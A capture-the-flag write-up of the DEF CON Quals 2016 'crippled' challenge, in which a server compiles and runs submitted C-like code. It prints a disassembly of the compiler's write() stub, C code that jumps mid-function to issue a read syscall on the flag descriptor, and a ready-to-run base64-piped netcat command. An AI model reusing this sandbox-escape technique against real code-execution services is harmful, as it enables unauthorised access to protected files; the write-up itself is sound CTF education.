DEF CON QUALS 2016 - crippled [Coding Challenges]

Competition: DEF CON QUALS 2016
Challenge Name: crippled
Type: Coding Challenges
Points: Not fixed
URL: https://2016.legitbs.net/scoreboard/challenge/3


Challenge description - How hard can a custom compiler be to write?

Let's start connecting to the server.

$nc crippled_f7fddee5e137122934909141e7d3f728.quals.shallweplayaga.me 11111
Flag file is opened on file descriptor 3  
Please provide a C file to compile. Terminate the end of the C file with an ETX character  
Example:  
int main()  
{
    write(1, "hi", 2);
}
1024 byte maximum text limit  

The key points are:

  1. Server accept a C-like code, compile and execute.
  2. Flag is already opened and ready to be read in fd 3.

The first thing to try is read(3, buf, size), obviously, and of course it wouldn't
be so easy! We got a "read undefined" message.

The next steps was to read the code of main and write and see how they were constructed by the compiler,
write(1, &main, size) and write(1, &write, size), respectively.

The write code was pretty obvious:

00000000  B804000000        mov eax,0x4  
00000005  8B5C2404          mov ebx,[esp+0x4]  
00000009  8B4C2408          mov ecx,[esp+0x8]  
0000000D  8B54240C          mov edx,[esp+0xc]  
00000011  CD80              int 0x80  
00000013  C3                ret  

So, if instead of jumping to &write we could jump to &write+5 and execute any syscall, of course, depending on eax value.
Another thing to say about the compiler is that some operands doesn't compile to the normally expected asm code. For
exemple, eax = eax + ebx is not compiled to add eax, ebx. We discovered that to generate an add instruction we need of "|" operator.
So instead of writing &write + 5 we wrote &write|5.

With the knowledge of how things work, our strategy was to define a function pointer pointing to &write+5, set eax to 3 (read syscall) and
read the flag. We ended up with the following C-like code:

int set_syscall(int v)  
{
  return v;
}

int main()  
{
  char flag[100];
  int (*func)(int, char *, int);
  write(1, "", 0);
  func = &write | 5;
  set_syscall(3);
  func(3, flag, 100);
  write(1, flag, 100);
}

Ready to use commandline

echo aW50IHNldF9zeXNjYWxsKGludCB2KQp7CiAgcmV0dXJuIHY7Cn0KCmludCBtYWluKCkKewogIGNoYXIgZmxhZ1sxMDBdOwogIGludCAoKmZ1bmMpKGludCwgY2hhciAqLCBpbnQpOwogIHdyaXRlKDEsICIiLCAwKTsKICBmdW5jID0gJndyaXRlIHwgNTsKICBzZXRfc3lzY2FsbCgzKTsKICBmdW5jKDMsIGZsYWcsIDEwMCk7CiAgd3JpdGUoMSwgZmxhZywgMTAwKTsKfQoDCg==|base64 -d |nc crippled_f7fddee5e137122934909141e7d3f728.quals.shallweplayaga.me 11111  

The flag is: Custom compilers can be tricky at times

Rick

Read more posts by this author.